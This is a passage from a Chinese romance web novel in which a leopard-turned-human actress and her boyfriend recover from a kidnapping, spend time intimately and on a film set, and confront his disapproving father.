阵阵耳鸣撕扯着耳膜,短瞬失聪过后,整个世界都变得喧杂。 “Wendy……Wendy……” “你是花豹?为什么会变成人类……” “姐姐,我们不属于这里……” “你们人豹殊途,不会有好结果的……” 各种模糊的声音争先恐后钻进脑中。 最后一句话突然骤停,“才没有什么殊途,只要相爱,就能同归。” “媞媞,我爱你。” 云媞赫然清醒。 与一双泪眼朦胧的眼睛四目相对。 黎星言愣怔数秒,开口已是哽咽。 距离那日的惊险一夜已过去了两天。 当时黎星言一睁眼,看到云媞一动不动躺在自己身边,屋里的班列和贺君卓也都眼眶泛红、面色憔悴。 吓得他以为媞媞抛下自己撒手人寰了。 当场就开始翻箱倒柜找枪,准备饮弹自尽…… 还好医生及时说云媞只是心力交瘁、过于疲劳,需要好生休养,可没想到这一睡就是两天。 这两天也发生了许多事。 警方查出,Vilereus的古堡内藏有多只非法狩猎并饲养的猛兽,此事惊动多国自然保护地管理局及野保协会,最后牵扯出由他一手创办的芝盾越野俱乐部以及他在华国的私人山庄。 那些动物目前都被当地野生动物救助机构临时接收,后续安置问题还需经过多方严格评估和商榷。 至于Vilereus派去稀树草原围猎Sinead的几人,被当地“女子护林队”发现并联合管理局悉数抓获。被抓到时,他们颗粒无收。 原来,聪明机敏的Sinead早已感知到他们的存在,将人引到护林员巡视范围后便不见踪迹。 而Vilereus神秘失踪,似乎也成为作恶多端、畏罪潜逃的证明。 说到这里,黎星言窃喜地趴在床边,眨了眨那双清澈漂亮的狗狗眼,“这是不是就叫做,恶有恶报!” “那我就是善有善豹!”他眉眼弯弯地俯身,双手撑床,虚虚圈住云媞,“特别说明,我的是花豹的豹。” 知道他在逗自己开心,但云媞却笑不出来。 那夜的处境与梦里的场景仍在眼前回放。 她穿成人后,做梦的概率屈指可数,即使有,也能很快抽离清醒。 可这次不一样,太过沉浸了,叫她分不清真实与虚幻。 “怎么了媞媞?” 黎星言敛了笑,一脸紧张地轻声询问:“是还有哪儿难受吗?” “嗯,难受。” “那我去叫医生!” 黎星言正要爬下床,突然被一把拽了回去,直直扑在女孩身上。 这个位置有点尴尬,他的唇瓣正好落在云媞小腹。 谁料,云媞竟径直掀起宽松的衣摆,将他的脑袋罩了进去。 “这里很难受……” 她握着黎星言的指尖,缓缓往内探去。 最后将那张大掌覆在心口处,“闷闷的,一顿一顿的痛,是为什么?” * “也不知道媞姐醒了没啊,诶你说,我们等会儿吃啥?” 贺君卓兴致冲冲走在前面,已经开始畅想今晚的豪华大餐。 不简单啊,真是太阳打西边出来了,抠门鬼班列竟然说,等云媞醒后他请客吃饭。 “你赚的钱不都让我直接打媞姐卡上了吗,怎么?什么时候背着我偷偷出去跑外卖了?” 显然,贺君卓对他请客这事仍表示存疑。 班列沉默片刻,寞然垂下眼眸,“姐姐不会用我的钱的。” 云媞不仅没用,还专门另开一张卡,把那些钱全存起来,一并还给了他。 她说,没有人工作是为了给别人挣钱,人都要有属于自己的一张银行卡,无论多少。 因为那是自己辛苦劳作的礼物,也是与他人产生连接的依托。 “也是。你那三瓜两枣,就算给媞姐也是打打牙祭。” …… 贺君卓,你能舔一下嘴巴把自己毒死吗。 班列怏怏地瞟了他一眼。 算了,好狗不跟人斗。 快走到门口时,屋内隐隐传出窸窣动静。 突然,贺君卓猛地顿住脚步,丝滑转身。 他眼神飘忽不定,面红耳赤地结巴道:“那、那什么,这么晚了,媞姐应该已经吃了。我们还是自己去吧……” 他一把揽住班列的肩膀,直接拽着往外走,“想不想看一下M国的网吧长啥样?” “不想。” “说想!” “哦。” 班列一脸莫名其妙地拍开他的爪子,“我说了,不喜欢别人靠我这么近。” “又来了又来了,碰一下咋了,会玷污你高贵的处男之身吗?” 贺君卓掏了掏快被他念出茧的耳朵,满脸不服气,“我看媞姐碰你,你不挺开心的吗?怎么?她不是人啊。” “别给我说她不是人,她是你唯一的女神,这种土掉渣的话啊,我鄙视你。” 被提前预判的班列,默默咽下嘴边的话。 两人走出公寓后,叽叽喳喳的贺君卓才变正常了些。 安静了好一会儿,他突然感慨道:“没事的班列,天要下雨,姐要嫁人,还有兄弟我一直陪着你!” 所以,他是因为这个才故意转移话题,把他引开的吗? 班列用余光瞥了贺君卓一眼,嘴角却无意识地上扬几分。 好笨的人类……其实,他早就闻到了姐姐和黎星言气息交融的味道- 而另一边。 “痛感”转移到黎星言身上后,云媞就舒服了。 指尖轻轻划过他仍缠着绷带的胸腹,看到身下人止不住地颤栗,云媞躬身下俯,后坐几寸。 黎星言陡然倒吸一口凉气,额间的细汗愈密,“媞媞,我、难受……” “哪里难受?” 攥住他被绑在一起的手腕,压过头顶,再吻上他眼前覆着的布条,云媞轻轻吹气,明知故问。 “我想看看你,不要蒙住我的眼睛,好不好……”黎星言既兴奋又不安。 兴奋是身体本能,而不安的是……他不知道自己做错了什么,媞媞要像这样惩罚他。 只有看着她的眼睛,他才能知道,云媞此时是何种情绪。 愠怒、戏谑、爱抚、玩弄还是…… “憋住。” 云媞冷声道:“不然以后都别想再碰我。” 黎星言浑身一颤,“不要,我可以忍住的媞媞。我错了……” 憋得脖颈一片通红,他仍乖顺仰起下巴,喉结艰难滚动着哀求道:“不要不理我,好吗……” 下一秒,两指探入他的口腔,堵住柔软的舌尖。 轻轻搅动,直到纤细的指尖沾满银丝,指腹也留下磕磕绊绊的齿痕。 眼上的束缚被陡然揭去。 忽见光亮,黎星言迷蒙的眼眸微眯,生理性泪水顺着眼角滚落。 云媞轻笑一声,“哪里难受了?我看你挺享受的嘛。” 游戏结束。 黎星言失败了。 他抽噎着道歉,一言不发地拾起薄毯替云媞细细擦拭。 他还记得云媞说过的话,所以不敢用手去碰,怕惹她生气。 云媞忍不住笑出了声。 在对方湿漉漉的眼神注视下,她轻叹着捧住他的脸,“笨蛋,逗你玩儿呢。” 这只是前戏,正式的还在…… 半小时后。 黎星言难以置信地瘫坐在床上,一副生无可恋的表情。 “我、我……真不行了???” 好吧,正式的也结束了—— 作者有话说:好吧,某男被玩弄的太厉害,真阳伪了(bushi)魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 翌日,天未亮。 勤劳的黎师傅又开始上工了。 结束一夜梦魇,醒来后,他满脑子都是那个死变态和路之舟等人的挑衅。 “原来你真是阳痿啊。” “没有一技之长,怎么做Wendy的人类伴侣。” “你安心治病去吧,媞媞后半生的□□就交给我了。” …… 我不是我不是我不是! 再说了我还有脸、手和嘴,那些也都是经过官方验证并认可的,三技之长!怎么就不能给媞媞□□了! 但显然,黎星言也说服不了自己。 能不能用和想不想用,是两种概念。 像只极力想要展示自己的粘人小狗,撒泼打滚般使出浑身解数。 主人被吵得不耐烦了,抛出圆球,小狗自娱自乐鼓捣片刻,依 旧难以解馋。 于是只能咬着主人的衣角,眨着那双无辜的下垂眼,祈求怜爱。 柔软的吻、温热的手、偶尔鼓励似的夸赞,还有适当的惩戒,才能让闹腾小狗找回被主人关注的安全感,慢慢自觉地安静下来- “媞媞!看吧!我不是阳痿!” 某小狗过于亢奋。 睡意全无的云媞忍不住戳了戳他的酒窝,好笑地说:“你当然不是,我才是。” 他的阳光和炽热并非伪装,而是由内而外的。 听到这话,黎星言陡然想起她来M国前,给自己发的那条信息,于是疑惑问道:“为什么这么说?女孩子还能阳痿吗?” “你不知道?”云媞将贺君卓说的那句话,原封不动复述给他听,“很多人的阳光都是伪装的,所以他们都是阳伪。” …… 贺君卓,你一天天的,都在教媞媞些什么鬼东西啊。 黎星言满脸黑线,难怪媞媞那条信息用的是「阳伪」这两字,原来不是打错了。 也难怪那个死变态会问出那句震人心魂的灵魂拷问。 不过…… 鸡贼的黎小少爷决定将错就错,“对没错!外面的男人都是阳伪,我不是!” “当然媞媞也不是!这个词只能用来形容男的,女孩子不管阳不阳光,都是最鲜活最真实的模样。” 他笑嘻嘻地亲亲云媞的嘴角,“特别是我的媞宝宝!该是什么样就是什么样,才不用伪装呢。” “这样吗?”云媞不解,但接受。 “当然当然!所以,以后见到觍着张虚伪笑脸,凑到你身边嘘寒问暖的男人,你就直接呵斥他们是阳伪,让我们一起揭露他们的伪装!” 黎星言义正言辞地点点头,一副正义使者的模样。 别人这么做或许还需要考量一下被打的风险,但媞媞就不用了,反正也没人打得过她!还能无形中帮他击溃那些无耻情敌的自尊。 高!实在是高!他又找到了一条“除三”的完美之策! 想到什么,他兀自补充一句:“特别是路之舟,我看他就挺阳伪的。” 云媞思忖片刻,觉得黎星言说的有道理,“好。” 突然,她轻耸鼻尖,蹙起眉头。 “等等,怎么闻到了血的味道?” “有吗?你生理期还没到啊……”黎星言脸色忽变,“不会是刚才我不小心……” 说罢,他正欲将云媞的那处检查一番。 胸前霎时一阵钝痛。 低头一看,绷带隐隐透出血迹,缝好的伤口又崩开了- “你们这些小年轻,太不懂得节制了!精力再旺盛,也不能在受这么重伤的情况下……哎!简直是不拿自己的身体当回事儿!” 替黎星言复查的是一位德高望重的老中医,也是与陆景天私交甚笃的忘年好友。 几十年前举家移民至此。 黎星言留学期间,受他父亲所托,这位中医世伯会定期帮他检查、调理身体。 刚开始小少爷有些水土不服,经常生病咳嗽,一副弱不经风的金贵样。 即使后来勤加锻炼,养好了身子,但在中医世伯眼中,他还是最初那个肩不能扛、手不能提的弱鸡形象。 “小姑娘,过来,我也检查一下。” 吴伯皱着眉头,“强行”给云媞把了一脉,半晌,惊奇地看向她,“咦……你这身体……” “怎么了吴伯!媞媞身体有什么事吗?”黎星言倏地弹起身,比听到自己身体出事时还紧张。 “身体太好了!这小女娃体格好得简直堪比国家运动员!” 吴伯横了他一眼,真恨铁不成钢,“多操心下你自己吧。虽然没以前那么娇贵脆弱,但和你女朋友比起来,差远了!” 又向黎星言交代了几句后,吴伯请云媞移步门外。 仔细将女孩打量一番,他犹豫片刻,试探道:“在M国,家暴是犯法的,你知道吧?” 他刚才看到了黎星言身上的伤,尽管没有血痕及裂口,但大面积青一块紫一块,很明显是被人用力踢踹或重物摔打所致。 他不信有谁敢这样对待陆景天的宝贝儿子,除了面前这位,体格过好、黎小少爷又对其唯命是从的女孩。 “家暴?”云媞歪了歪头,不太理解老头儿的意思。 吴伯见状了然,或许是他多心了。 看这个女孩的确也不像是暴躁狠厉之人。 所以……是年轻人的另类玩法? 他不自在地轻咳一声,低声叮嘱道:“那也不要太过火哈。小言近一个月最好专心养伤,以免日后身体亏空。” 待吴伯走后。 云媞将他的嘱托一字不差转给黎星言。 不敢置信、难以启齿、天都塌了! 在对方丰富多彩的变脸戏法下,云媞认真道:“所以这一个月,你还是不能碰我。” “媞媞……别听那老头儿的话,我身体好不好,你还不清楚吗?”黎星言试图打起商量。 但经过吴伯提点,云媞也已意识到自己昨夜太过放纵。 因为Vilereus和那场梦,她太害怕失去黎星言,所以只能通过彼此身体的碰撞与欢愉,去确认他仍是鲜活存在着的。 现在想来,黎星言身体素质本就一般,受了那么重的伤还没痊愈,就陪着自己疯闹。 真是够能忍的。 “等你养好伤再说吧。” 云媞安抚般拍了拍他的肩,“只是一个月而已,之前我们最长一个月没见,不也挺好的吗?” “21天。” “啊?” “最长21天没见,不是一个月。”黎星言纠正道。 下一秒,他又哀嚎道:“但那不一样!” 问他哪里不一样,他只红着耳朵小声嘟囔:“反正就是不一样……” 直到云媞在他枕下,发现了自己在国内神秘失踪的几条内衣内裤,她才恍然明白他说的“不一样”究竟是什么意思。 一个月完全禁欲,和偷偷摸摸搞点成人爱做的事、解解馋,的确有很大不同。 “你……还记得自己曾经是个洁癖吗?” 看着贴身衣物上隐隐残留的斑驳印记,云媞嫌弃地甩手。 却被黎星言稳稳接住。 洁癖?洁屁! 遇到生理性喜欢的真爱,哪哪儿都是香的、甜的、可以拆骨入腹大饱口福的。 “不能丢,我要留作纪念。之前每晚想媞媞想得睡不着,我可都是抱着它入睡的。” 论不要脸还得是黎小少爷。 小狗般蹭蹭云媞的脸蛋,他嬉皮笑脸地说:“还好你来了,不然,洗太多次,它都只剩下我的味道,没有媞媞的味道了。” * 根据黎星言的身体状况,云媞打算再推迟两天回国。 许彦青收到她的请假申请时,没有半点意见,反而狠狠松了一口气。 “吓死了!好几天联系不上,我还以为你也要跑路了,我这老心脏真受不了这种打击……” 听到她说误工费用从自己片酬尾款里面扣,许导又不乐意了,“说这话就见外了啊,你人没事,顺利归组,我就心满意足了。” 嘚,真被云媞调得逆来顺受了。 至于小分队,贺君卓此前已在群里向各位忧心忡忡的伙伴们报过平安,云媞想了想,又主动打了个群视频。 人类关系的维护,不能总是靠别人单方面的热情,有进有出,情谊才会更长久。 M国步入初冬。 连着几日下雨,雾蒙蒙一片,显得整座城市阴暗潮湿。 原本打算带云媞兜风赏景的计划落空,黎小少爷只能“退而求其次”,和她手牵手逛逛大学校园。 好吧,其实这才是他最想做的事。 城市建筑有什么好看的,不如在学校的每个角落都留下他们的足迹,以后走到哪儿,都能视幻出媞媞的影子。 不过到底还是想得太美好了,这校区实在太大了!根本逛不完! 更何况,每走几十米,就会遇见NPC似的陌生同学,一脸讶异地指着云媞捂嘴惊呼:“TiTi?” 叽里咕噜说一堆 鸟语后,才后知后觉看到她身旁的黎星言,然后求着他帮忙翻译一下。 作为《生存者游戏》无删减版播出国,云媞在这里的热度并不见得比华国低。 尽管种族不同,但大家对“超级英雄/英雌”的追捧都是共通的。 曾经众星捧月的天之骄子,在超高人气王媞姐的衬托下,也只能沦为背景板私家翻译。 “她说她非常喜欢你,媞媞就是女人中的女人!” “他说全程追了那档综艺,媞媞很厉害,自愧不如。” “她说她非常磕我们!希望我们能永远幸福美满!啊谢谢啊谢谢你眼光真好,放心,我们一定会白首偕老的……” 前半句中文,后半句英文。 看黎星言那激动的表情,云媞即使听不懂,也大致看明白了。 当然,这种无师自通的情形,还有另一种…… “他说媞媞是他见过最独特最漂亮的亚洲女孩,介不介意多一个外国男……你踏马,眼瞎啊!看不到我这正牌男友就站在这里吗!你哪个年纪哪个专业的?看我找不找人弄你就完事儿了!” …… 两天说长不长,说短……倒也挺短。 第二次坐飞机,没了来时的焦虑不安,但多了一丝低落。 云媞看向镜中的自己,面色如常。 但她知道,她不开心。 臭黎星言整日叽叽喳喳,陡然听不到他的声音,倒真不习惯。 Wendy啊Wendy,你现在怎么能变得像黏人精猎豹一样呢,简直丢我们猫科豹属的脸! 自我谴责一番,擦干手,云媞走向自己的位置。 远远的,便看见班列和贺君卓探出脑袋观望,跟做贼似的。 云媞一脸莫名其妙,鼻尖却嗅到极其熟悉的气息。 下一瞬,手指已经下意识拉开滑动门。 只见黎星言侧身躺在她的床上,笑得像个妲己,“嗨美女,需要提供暖床服务吗?” 话音未落,飞机突然颠簸一下。 脑袋撞在眩窗,嘭得一声闷响。 痛得龇牙咧嘴,黎星言还不忘形象管理,理理发型,再轻咳一声,“失误啊失误,再重来!” “不用重来了。” 云媞忍俊不禁笑道:“需要。” 反手关上了门—— 作者有话说:已老实求放过[化了][化了][化了] 第82章 原来,黎星言早就趁自己伤势最重的时候,让贺君卓帮拍了几张“重病图”。 为给云媞一个小小的惊喜,他偷偷订了同程的机票,并给导师发邮件谎称自己出了车祸,需要回国休养。 作为权威大牛最看好的关门弟子,一向不苟言笑的鹤发老头儿不仅很快批准假条,还心疼得差点亲自登门慰问。 黎星言搪塞婉拒,内心有点愧疚,但也不多。 毕竟,什么都别想阻拦恋爱脑和老婆多点时间待在一起。 不过能这么顺利走完请假流程,也是因为在校这几月,他为了尽快修完学分,每天忙得跟狗一样。 对于黎星言的天赋、勤奋以及最终成绩,导师有目共睹。 当然,对于背后的心酸和艰辛,Bking小少爷不屑于说。 他只想在老婆面前,树立一个野鹤闲云、不付吹灰之力的天才形象。 对于黎星言的导演天赋,云媞是认可的。 至少在讲戏这方面,他比许彦青强不少。 听闻她演戏陷入瓶颈,情绪难以爆发。 黎星言亲自帮忙对戏,根据云媞在每个情节点的表现一处一处去调。 “对于那些我们没有经历过的事儿,在虚拟演绎时难以做出反应,是再正常不过的,媞媞不用因此怀疑是否是自己缺乏人类共情心。” 即使调过数遍,黎星言仍然没有半分不耐,“我们不需要最正确的标准化的反应,只要最合适的。” 离别时会「悲伤不舍」;心爱的人受伤会「心疼怜惜」;爱人被害身亡会「歇斯底里」乃至「愤怒仇恨」,这些都是最笼统抽象的情绪“大类”。 做到情绪归类,在合适的场景抽调出来。 即使有时情境不那么精准,但在镜头拍摄下,大类情绪基本是合时宜的。 “移植”比“想象”,更适合情绪不那么敏感的新人演员。 “就比如,”黎星言顿了顿,“想想那个死变态抓住我和Sinead,以此为要挟,媞媞是什么情绪?就可以将这种情绪移植到与仇人相见的那场戏中。” “还有,男主死在女主怀里,以女主的性格,或许当时不会悲痛欲绝、哭得歇斯底里,但一定会有压抑悔恨的情绪……” 黎星言摸了摸耳尖,带着些许期待,试探性地说:“就像你当时看到我浑身是血的样子,差点以为我要死了,是什么感觉……就可以将那种情绪移植到男主死……” 瞥见云媞面无表情,黎星言未完的话哽在嘴边,怒目圆睁:“你不会当时也没有任何情绪吧!” “不要啊媞媞不要啊!” 上一秒还认真严肃又专业的黎导,当下又变回那只撒泼打滚、祈求主人怜爱的大狗狗,“哪怕没有悲痛欲绝,想要杀了死变态替我报仇雪恨也是可以的哇!我不能白死啊……” 听到“死”字,云媞太阳穴突突直跳,沉脸捂住他的嘴:“不许瞎说!” 下一秒,掌心一片濡湿。 不要脸的大狗在她手心又亲又舔,笑得眉眼弯弯:“我就知道,媞媞还是爱我的,嘿嘿!”- 不得不说,黎星言教的技巧的确奏效。 复拍后的第一个大高潮镜头。 女侠客与仇人生死一决,最后手刃宿敌,替小忠犬报了仇,也为枉死的父母沉冤昭雪。 云媞眼底的愤怒和仇恨太过真实,看得许导惊叹连连,直夸她进步飞速,甚至怀疑她请假这几天是不是专门去请了名师补课。 见她状态实在太好,许彦青一拍脑袋,决定将“男主之死”那场感情高潮戏重拍一次。 此时,前来探班观摩的黎小少爷,正为老婆的绝佳演技与有荣焉,还未意识到事情的严重性。 直到由文展饰演的忠犬男主,伤痕遍布、奄奄一息地躺在云媞怀中,心满意足笑着说:“别难过,我说过……即使死了,我也会一直缠着你的……” 黎星言整个人都不好了。 再往旁边定睛一看,天塌了! 云媞入了戏。 她死死抱着小竹马的“尸体”,指尖颤抖,试图用脸去贴对方的脸颊,以此确认他仍有一息尚存。 然而事与愿违。 那个曾经令她厌烦的跟屁虫,真的永远离开了自己。 那些尚未宣之于口的情愫,才后知后觉倾巢而出。 她绝望地垂下脑袋,连肩膀都在压抑颤抖。 最后,情难自抑般,在对方额头落下一吻。 一滴豆大的泪水砸到文展眼皮,他的眼睫下意识颤动了一下。 戏已走完。 整个片场鸦雀无声,大家似乎还沉浸在沉重悲怆的情绪中。 除了黎星言。 他正埋头猛翻剧本。 不对啊!自己明明记得媞媞没有吻戏的!哪个杀千刀的偷偷改了剧本! 前前后后将这场戏的最新剧本看了数遍,黎星言大受打击地瘫坐 在椅子上。 是媞媞……自己临场发挥…… “太棒了!最后这诀别一吻,简直是点睛之笔!”许彦青感动得老泪纵横。 谁说云媞这演技差啊,这演技可太好了! 简直属于真情实感的爆发型演员。 “黎少,让让。” 拍了拍呆若木鸡的黎星言,许导将大监上的镜头欣赏好几遍,结果发现“死透”的文展眼睫还在颤抖。 “阿展?怎么搞得……” 斥责的话刚到嘴边,陡然想起来,云媞“加戏”许是情绪到了,在场大家都没料到。 文展一时慌乱,情有可原。 “这个镜头再来一次吧,云媞,刚才状态特别棒,保持住!” 几分钟后,文展再次躺进云媞怀中。 即将开拍之际,他弱弱举起手,眼底眸光闪烁,红着耳朵问道:“那、那个吻,也要重来吗?” 还想再被我老婆亲一次?!狗东西你死不死! 黎星言内心狂吼。 “要!怎么不要?” 许导已然沉浸在艺术创作中,浑然没察觉到自己快被黎小少爷的视线捅成筛子。 …… 一天拍摄下来,工伤最重的是黎星言。 此男牙都快咬碎了,还不能当场发作,怕影响云媞发挥。 今日进展顺利,晚九点收工。 黎星言仍闷闷不乐坐在副导的监视器前,反复检查云媞与文展那场诀别戏,试图从中找到“演”的痕迹。 “有那么好看吗?”云媞不解。 他今天似乎情绪不高,也没往日活跃,难道也和其他人一样沉浸在戏中,无法自拔了? “嗯,媞媞演的太好了。”黎星言嘴上这么说,表情比哭还难看。 他小心翼翼追问:“是……演的吧?” 老婆你演的实在太好了,但我生怕你不是演的啊! “那不然呢?” 黎星言稍微松了一口气,旁敲侧击道:“那什么,我听说有很多演员入戏太深,无法从戏中抽离,从而会误把自己以及搭戏演员当成剧中人物,因戏生情什么的……” “哎呀,总之,媞媞一定不会这样的……对吧?” 叽里咕噜说什么,听不懂。 看着他一张一合的唇瓣,云媞愣怔片刻,恍然回到拍诀别戏的场景。 那时,她想起黎星言教自己“移植情绪”的技巧。 慢慢,竟将文展视幻成梦里那个中枪后倒在血泊中的黎星言,以至于她清晰地回想起,自己那时近乎灭顶的恐慌与心悸。 “黎星言。” “到!” 见云媞表情沉重,黎星言内心哀嚎:完了,说中了,媞媞可能真的还未出戏。 真真假假,人类都难辨,何况是涉世不深的豹豹。 但他只能含泪忍住妒夫心理,告诫自己不要轻举妄动,反而刺激云媞对文展的假戏变真意。 此男心眼子绕了几百圈。 突然,只听云媞接着说:“我是不是还没有跟你说过我爱你?” “啊?” 黎星言骤然呆住。 不顾在场其他人八卦的目光,云媞走近一步,双手捧住他的脸,一字一顿道:“我说,我爱你。” “噗通!” 对面监视器后,一道突如其来的掉凳声。 半晌,许彦青灰头土脸从地上爬起来,装腔作势地轻咳一声,“这浓情蜜意的,能不能等回家再……” 话未说完,黎星言跟狗上身似的,径直抱着云媞啃起来。 “哎呦喂!” 从没见过黎小少爷狂犬病发作的架势,许导目瞪口呆,惊恐喝道:“你们别生我片场了!我还不想当干外公!” 其他人见状,笑得前俯后仰。 云媞和黎星言在一起,这已不是秘密。 更何况前几天,他俩在M国黎少就读的大学牵手同逛校园,被那么多人偶遇,早在微博上了几轮热搜。 不过,这对小情侣似乎本就没打算在公众面前藏着掖着,也都不用靠单身人设吸粉,坦然得很。 就是苦了云媞的老婆粉大军,心都碎了一地…… * 黎家。 刚进家门,沉重的低气压扑面而来。 陆景天正襟危坐在厅堂沙发。 为方便工作,他平日住在位于金融核心区的大宅,一个月可能就回这儿两三趟。 云媞见到他的次数寥寥。 黎冉和黎星言喜欢她,他便爱屋及乌地高看她一眼,实际接触并不深。 “爸?敢情您老人家还记得回家的路呢。” 如往常一样,黎星言插科打诨地调侃大忙人老爹几句。 陆景天却未看他一眼,而是朝云媞颔首示意,“媞媞,我有话同星言说,你先回房?” 说罢,他起身,径直走向书房。 “什么啊,神神秘秘的……” 望着老爹的背影,黎星言疑惑嘟囔一声,又笑着扭头亲亲云媞的脸颊,“那媞宝宝就先回房吧,我马上来……” “还不快跟过来!”陆景天拧眉呵斥道。 两人一前一后,消失在拐角处。 半晌,云媞若有所思地收回视线。 第83章 “怎么了爸?”黎星言随手虚虚掩门,“有什么事直说呗,我还要去找媞……” “媞媞、媞媞、你满脑子除了云媞,还有什么!”陆景天陡然大发雷霆。 黎星言面上的笑霎时凝固,关切试探道:“和我妈吵架了?” 不怪他这么猜测。 在外人眼中,陆景天或许是传说中雷厉风行、杀伐果决的霸总形象,但在黎星言眼里,他只是温和耐心的好父亲以及老婆控。 他极少朝孩子发脾气,除非在黎冉那儿受了委屈,只能“窝囊”地找便宜儿子的茬儿。 所以,从某种程度上来说,黎星言的恋爱脑是遗传了自家老爹的。 但这次,似乎不一样。 陆景天的气愤不似作假。 “我问你,前几天在M国,发生了什么?” 黎星言心神一凝,明白瞒不过手眼通天的陆景天。 不过,他也没打算瞒。 “我这不是已经安然无恙了嘛,不想让你们担心,才没主动提……” 黎星言挨打立正,态度挺诚恳。 见陆景天脸色平缓一些,他话锋一转,开始给自家老婆邀功,“您都不知道那歹徒有多凶狠,要不是媞媞只身舍命救我……” 谁料,陆景天轻嗤一声,“她救你?没有她,你能遇到这种危险?要不是她,你又怎么会想着去参加那个综艺,吃那些没有意义的苦?” 若不是那老外主动向他致歉,他都不知道自家傻大儿被那老外的私生子绑架,差点命悬一线。 起初,他自然感谢云媞出手相救,但随着助理深入调查,才发现云媞与Vilereus曾有过节,很可能出于情仇,才牵连了无辜的黎星言。 陆景天知道,这个女孩很受欢迎,也的确有些魅力,但要拿自家儿子垫脚,绝不可能。 察觉到老爸对云媞隐隐的不满,黎星言蹙眉反驳道:“您有什么气,冲我发,跟媞媞无关。再说了,我参加那档综艺是为了锻炼自己,你和老妈当时不也同意了吗,现在又搬出来做什么?” “冲你发?我当然要冲你发!” 陆景天怒不可遏,“既然身体没事,为什么谎称病假回国?别告诉我,你是想父母了!” “不思进取,成日围着个小女孩转,除了她,除了谈恋爱,你还有什么理想抱负?” 陆景天越想越气,拍案而起,“不想上学就趁早给我滚回来,学习怎么管理公司!” 黎星言听懂了。 说到底,他对自己选导演专业仍颇有微词。 也是,作为家中独子,无论出于兴趣爱好选了任何专业,大学结束,最终还是逃不掉继承家业的命运。 “我不想管理经营公司,也不会……” “没有人天生就会!这些年就是太由着你的性子来,同龄的其他世家孩子,哪个不是早早接手家中产业?” 陆景天恨铁不成钢,“没有让你接受家族联姻,不代表放任你和一个来路不明的小女孩厮混……” “爸!” 黎星言难以置信地呵道:“原来您一直是这样想的?” “我……”陆景天嘴角嗫嚅,心知自己话说重了些,恐怕会伤了父子之情。 但犹豫数秒,终究没有解释。 “她不是来路不明,她有家人,我就是她的家人。”黎星言红着眼,言辞灼灼地说,“我说过,这辈子、下辈子、下下辈子……我都非她不娶。” “我不像您一样,我没有那么大的野心和抱负,我只想做我喜欢的工作,和我爱的人在一起,您要是对我不满意,那我和媞媞以后就不出现在您面前,惹您心烦了……” “怎么?想断绝父子关系?”陆景天也是气上头了,开始口不择言,“除了她,我和你妈在你眼里,就一点都不重要?” 不知道一向开朗仁慈的父亲为什么会突然这样,黎星言心里比谁都难受。 他感恩有这么好的家庭和父母,但就如黎冉一直教导自己的,每个人都是独立的个体。 她曾说,“没有殷实美满的家庭,没有父母的托举和栽培,你不可能活得这么肆意洒脱,但那是你命好。这并不是驱使你产生负罪感,对父母感恩戴德,驯顺接收一切安排的缘由。” “你们对我而言很重要,但我的人生,我自己会走。”黎星言一字一句地说,“您早点休息吧,陆叔叔。” 论把自家不同姓的亲爹,喊成“叔叔”的杀伤力有多强。 陆景天被憋得恨不得插上氧气管。 他气急败坏抬起手,“你这……” 房门猛然被推开。 云媞面无表情站在门外。 “媞媞,你怎么来了?” 黎星言一下紧张起来,也不知道她听去了多少。 云媞没有看他,而是直直盯着陆景天举着的手掌。 不知是某种强大威慑力使然,还是不想让小女孩看了笑话,陆景天缓缓收回手,别开视线,指着黎星言平静地说:“滚出去。” 不愿让媞媞与突发恶疾的爹同处一个空间,更不能让她受那些莫名其妙的委屈,黎星言决定说滚就滚。 但云媞并不打算“善罢甘休”。 有话当场说清,从不拐弯抹角,这才是豹豹的为人之道。 不过在此之前,她需要问明白一件事,“陆叔叔,您是不喜欢我,还是对黎星言不满?我刚才在门外没有听懂。” …… 偷听就算了,还好意思大大咧咧说自己没听懂。 陆景天一时语塞,但他无意为难无辜小姑娘,“抱歉,这是我们家的家事……” “可是黎冉说,这也是我的家。” 看着云媞黑曜石一般漂亮的瞳孔,陆景天心底一震,第一次认真打量起面前这位小姑娘。 年纪尚小,却气度不凡。说话处事不卑不亢,即使与他对视,也丝毫不怵。 最重要的是,她有着正常人难以企及的超强“配得感”。 他兀地笑了,故意给她立下马威,“你家?你打算和黎星言结婚?还是说,你只是看中他的家世,故意接近他,以此鸠占鹊巢……” 黎星言怒目圆睁,正要插嘴。 云媞攥住他的手腕,随后淡然自若道:“我的确很喜欢钱,但我自己能挣,说不定以后,我不见得挣得比你少。” 在对方讶异的神色下,她心平气和地说:“如果你觉得黎星言没有理想抱负,不符合你对完美儿子的幻想,我可以养他。” “更何况,我不觉得他像你说的那样。他很有艺术天赋,更是个有才华的导演,他的那些作品你都看过吗?如果看过,你应该会觉得他像黎冉一样有灵气,而不是否认他的选择。” “媞媞……”黎星言感动得如鲠在喉。 她说她愿意养他,甚至还会在私下里认真看完自己的作品。 他一直以为,她对那些不感兴趣。 不过,云媞的确不感兴趣,也看不太明白。 但这并不妨碍她依旧觉得黎星言有才气。 陆景天沉默半晌,“再有天赋,他也是独子,仍要担起家中大梁。” 他意有所指地深深看了云媞一眼,“难道我还能将产业交到外人手中不成?” 那可不一定。 原书里,你可不就将集团拱手送给你那“投缘”的干儿子叶玄了吗。 似乎收到某种既定的暗示,云媞顺着陆景天的话问:“什么才不叫外人?” “血缘的、情感的、法律上的,”陆景天缓缓道,“一家人。” 云媞了然点头,“让黎星言做他喜欢且擅长的事,你要是实在找不到人继承,我可以试试。” 无视父子俩震惊的表情,她一脸理所当然地说:“反正我也会和黎星言结婚。”- “不行不行不行!” 房间。 黎星言一屁股坐到床边,愁云密布。 “怎么不行?你不想让我继承你的财产?”云媞问。 “怎么会!”黎星言委屈蹙眉,“我的人都是你的。” “那你是……不想和我结婚?” 黎星言眼睛瞪得更大了,跟愤怒的炸毛小猫似的,“这是我这辈子最大的心愿,我求之不得!” 那到底哪里不行。 云媞歪头,也坐到他身边,循循善诱道:“那你的反应好像比你爸还大,为什么?” “因为、因为……” 黎星言“哎呀”一声,丧气地垂下脑袋,“你说过你不想被这种关系套牢,可是现在这样,就好像我们全家都在施压,让你不得不和我永远绑在一起。” “当然,我很想……但是,我希望你是因为真的爱我,才想步入婚姻,而不是一时冲动,或者为了给我撑腰气我爸,才许下承诺。” 如果她当真开始接手集团事务,就会明白,那是多么枯燥乏味、磋磨岁月的事情。 远不如当武指、拍戏有趣自在。 思及此,黎星言越发心疼,“别担心,大不了我不当导演了,接受他们的安排,总之我不会让你受半点委屈的。” 